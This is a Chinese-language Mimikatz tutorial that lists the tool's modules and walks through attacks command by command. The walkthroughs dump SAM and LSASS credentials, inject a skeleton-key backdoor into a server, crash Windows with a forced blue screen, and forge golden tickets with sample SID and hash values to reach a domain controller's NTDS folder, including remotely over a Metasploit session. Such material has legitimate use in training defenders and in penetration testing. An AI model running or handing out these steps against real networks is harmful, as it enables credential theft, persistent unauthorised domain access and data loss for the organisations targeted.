介绍
Mimikatz 是Benjamin Delpy用 C 语言制作的工具。它是从内存中提取纯文本密码、哈希和 Kerberos 票证的好工具。它还可以用于生成金票
基本命令
cls: 清屏
standard: 标准模块,基本命令
crypto: 加密相关模块
sekurlsa: 与证书相关的模块
kerberos: kerberos模块
privilege: 提权相关模块
process: 进程相关模块
serivce: 服务相关模块
lsadump: LsaDump模块
ts: 终端服务器模块
event: 事件模块
misc: 杂项模块
token: 令牌操作模块
vault: Windows 、证书模块
minesweeper:Mine Sweeper模块
net:
dpapi: DPAPI模块(通过API或RAW访问)[数据保护应用程序编程接口]
busylight: BusyLight Module
sysenv: 系统环境值模块
sid: 安全标识符模块
iis: IIS XML配置模块
rpc: mimikatz的RPC控制
sr98: 用于SR98设备和T5577目标的RF模块
rdm: RDM(830AL)器件的射频模块
acr: ACR模块
version: 查看版本
exit: 退出
模块解释
privilege
:::danger privilege(权限调整)
privilege::debug(最基本的操作)
提升为debug权限privilege::id [number]
调整id来调整权限 20是dubug 10是driver:::
Privilege::debug:请求调试权限。
Privilege::driver:请求装载驱动权限。
Privilege::security:请求安全权限。
Privilege::tcb:请求 tcb 权限。
Privilege::backup:请求 backup 权限。
Privilege::restore:请求恢复权限。
Privilege::sysenv:请求系统环境权限。
Privilege::id:请求 id 特权,参数后跟具体的 id 值,例如请求特权 8:privilege::id 8。
Privilege::name:请求指定名称的权限。
sekurlsa模块(提取用户凭证功能)
msv - 获取 LM & NTLM 凭证,可以获取明文密码。
wdigest - 获取 WDigest 凭证,可以获取明文密码
kerberos - 获取 Kerberos 凭证。
tspkg - 获取 TsPkg 凭证。
livessp - 获取LiveSSP 凭证。
ssp - 获取凭证。
logonPasswords - 获登录用户信息及密码,如果是在系统权限或者 psexec 进入的系统权限下,直接使用该命令,而无需运行 privilege::debug,否则需要运行该命令。
process - 切换或者恢复到 lsass 初始状态。
minidump - 切换或者恢复到 minidump 初始状态。
pth - Pass-the-hash
krbtgt - krbtgt!
dpapisystem - 显示DPAPI_SYSTEM密码值。
trust - 显示 Kerberos 票据。
backupkeys - 首选备份主密钥
tickets - 列出Kerberos票据
ekeys - 显示 Kerberos 加密密钥。
dpapi - 显示内存中的 MasterKeys
credman - 显示管理员凭证。
sekurlsa::wdigest | 通过可逆方式 提取用户密码明文 |
---|---|
sekurlsa::kerberos | 抓取kerberos的明文密码 |
sekurlsa::msv | 提取NTLM/LM hash凭证 |
sekurlsa::ssp/livessp/tspkg | 抓取对应的明文密码 |
sekutlsa::logonPasswords | 抓取以上各种密码 |
sekurlsa::process | 将自己的进程切换到lsass进程中,之前只是注入读取信息 |
sekurlsa::minidump file | 这个模块可以读取已经打包的内存信息, 比如上述命令已经将lsass进程中的内存信息保存为dmp文件了 那么此时我们可以离线读取其中的信息 但是需要指定文件名。 加载dmp文件,并导出其中的明文密码 :::danger sekurlsa::minidump lsass.dmp sekurlsa::logonpasswords full ::: |
sekurlsa::pth | pass-the-hash hash传递攻击 |
Kerberos模块(常用于金银票据)
kerberos::list | 列出当前所有的票据(等同于klist) |
---|---|
kerberos::purge | 清除系统中的票据 |
kerberos::ptt | Pass The Ticket 即票据传递 |
Kerberos::golden | 伪造票据 如金银票据 |
Crypto( 导出未标记为可导出的证书)
一般私钥会被标记为不可导出,使用这个参数可以给系统打patch,之后就可以导出了。
Module : crypto
Full name : Crypto Module
providers - List cryptographic providers //该命令列出所有 CryptoAPI 提供者。
stores - List cryptographic stores //列出系统存储中的逻辑存储,crypto::stores /systemstore:local_machine。
certificates - List (or export) certificates //显示或者导出证书。
keys - List (or export) keys containers //列出或者显示密钥。
sc - List smartcard readers //此命令列出系统上的智能卡/令牌读取器或将其移出系统;当 CSP 可用时,它会尝试在智能卡上列出密钥。
hash - Hash a password with optional //显示当前用户的的哈希(LM、NTLM、md5、sha1、sha2)计算值。username
system - Describe a Windows System Certificate (file, TODO:registry or hive) //描述 Windows 系统证书(注册表或者 hive 文件)。
scauth - Create a authentication certitifate (smartcard like) from a CA //从 CA 创建一个认证(智能卡等)
certtohw - Try to export a software CA to a crypto (virtual)hardware //尝试将软件 CA 导出到加密(虚拟)硬件中。
capi - [experimental] Patch CryptoAPI layer for easy export //修补 CryptoAPI 程序方便导出。
cng - [experimental] Patch CNG service for easy export //修补 CNG 服务方便导出。
extract - [experimental] Extract keys from CAPI RSA/AES provider //从 CAPI RSA/AES 提供者获取密钥。
Process(进程模块)
list - List process //列出进程
exports - List exports //导出进程
imports - List imports //导入进程
start - Start a process //开始一个进程,后跟进程名称
stop - Terminate a process //停止一个进程,process::stop /pid:1692(结束 pid 为1692的进程)。
suspend - Suspend a process //挂起一个进程。
resume - Resume a process //恢复一个进程。
run - Run! //运行一个进程。
runp -
process::list | 列出进程列表 |
---|---|
process::exports | 导出进程列表 |
process::imports | 导入列表 |
process::start | 开始一个进程 |
process::stop | 停止一个进程 |
process::suspend | 冻结一个进程 |
process::resume | 从冻结中恢复 |
process::run notepad | 运行一个程序 |
process::runp | 以SYSTEM权限打开一个新的mimikatz窗口 |
利用
转储哈希
privilege::debug
token::elevate
lsadump::sam
使用 Mimikatz 生成万能钥匙
- 受害者: Windows Server 2012 R2
- 攻击者: Mimikatz (在 Windows Server 2012 R2 上)
首先,我将尝试使用 mimikatz 作为密码登录我的服务器:
如您所见,我们无法使用“mimikatz”作为密码登录服务器
现在我将使用密码“T00r”登录服务器
正如您在下面看到的,我已经使用正确的密码登录了服务器
如果你曾登录过服务器或解锁过服务器,则可以使用 Mimikatz 创建一个万能密钥,将其存储在服务器的内存中。
根据服务器的架构(x32、x64)启动 Mimikatz 终端。现在首先我们将使用 Mimikatz 获得调试权限
privilege::debug
然后我们将 mimikatz 骨架密钥注入服务器的内存中使用
misc::skeleton
有了这个,我们的万能钥匙就成功地注入了服务器。
注意:您必须使用管理权限打开 mimikatz 才能创建万能钥匙。
现在我将尝试使用我们刚刚注入内存的骨架密钥“mimikatz”登录服务器。记得上次我们尝试使用 mimikatz 作为密码登录服务器,但我们没有成功
但这次“mimikatz”被接受为密码。这并不意味着我们重置了原始密码“T00r”。服务器将继续使用“T00r”登录,但现在它也将接受“mimikatz”作为密码。
现在,请记住,我们将万能密钥注入到内存中,而不是存储中,因此下次管理员重新启动服务器时,我们将失去访问权限。因此,保护域控制器免受万能密钥攻击的最佳方法是经常重启服务器或阻止 mimikatz 访问内存。
使用 Mimikatz 进行蓝屏死机
- 攻击者:Mimikatz(在 Windows 7 上)
- 受害者:Windows 7
执行步骤:
- 以管理员身份运行 mimikatz
- 启动 mimidrv 服务
!+
- 启动 BSOD 命令
!bsod
正如您在下面看到的,我们有蓝屏死机错误
注意:此攻击可能会损坏数据并可能危害系统。小心使用!
显示主机名称
# hostname
使用 Mimikatz 生成金票
- 攻击者:Windows Server 2012 R2 上的 Mimikatz
- 受害者:Windows Server 2012 R2
要生成金票,我们需要以下信息:
- 域名称
- SID
- NTLM 哈希
获取域名称:
这里域名称为: Pavan.local
获取 SID
使用 mimikatz 提取 NTLM 哈希
# privilege::debug
# sekurlsa::logonpasswords
生成金票:
# 语法
Kerberos::golden /domain:[Domain] /sid:[SID] /rc4:[NTLM Hash] /user:[Username To Create] /id:500 /ptt
kerberos::golden /domain:PAVAN.LOCAL /sid:S-1-5-21-1118594253-693012904-2765600535 /rc4:9a7a6f22651d6a0fcc6e6a0c723c9cb0 /user:hacker /id:500 /ptt
我们正在为 hacker 用户创建金票,我们也可以使用该域内任何现有用户或者创建一个新用户
现在运行命令提示符以访问共享文件夹并执行以下命令:
> pushd \\WINSERVER01\c$
> cd WINDOWS\NTDS
> dir
如您所见,我们获得了对共享文件夹的访问权限,如果没有管理员访问权限则无法访问该共享文件夹,但我们是在不使用 CMD 作为管理员的情况下获得的。从下面给出的图像中,您可以观察到它显示了 8 个文件和 2 个文件夹。
远程生成金票
- 攻击者: kali
- 受害者: Windows Server 2012 R2
利用 MSF 获取远程会话
将 mimikatz 文件夹上传到目标
upload -r /root/Desktop/mimi c:\
打开 SHELL ,并使用 ipconfig/all 获取域
获取 SID:
现在转到我们之前上传 mimikatz 的位置并运行mimikatz.exe,如下所示
现在让我们使用以下命令提取krbtgt NTLM 哈希
lsadump::lsa /inject /name: krbtgt
现在使用提取的所有信息,让我们以与上面相同的方式生成一张黄金票。
kerberos::golden /domain:pavan.loc /sid:S-1-5-21-97841242-3460736137-492355079 /rc4:e847d2e54044172830e3e3a6b8438853 /user:Hacker /id:500 /ptt
现在让我们访问共享文件夹,如您所见,我们可以访问共享文件夹,如果没有管理员访问权限则无法访问。
因此我们成功地通过 Kali 在 Windows Server 中远程生成了一张金票
破解扫雷游戏
为了展示 Mimikatz 是一个强大而有趣的工具,在这里我将使用 Mimikatz 破解扫雷游戏。
首先打开各自架构的Mimikatz。
然后打开扫雷游戏
使用 mimikatz 加载扫雷器
minesweeper::infos
您可以在上面的屏幕截图中看到扫雷网格显示在 mimikatz shell 中。
现在点击扫雷器上的任意随机方块。
现在再次运行之前的命令,现在我们在网格上有了我的位置。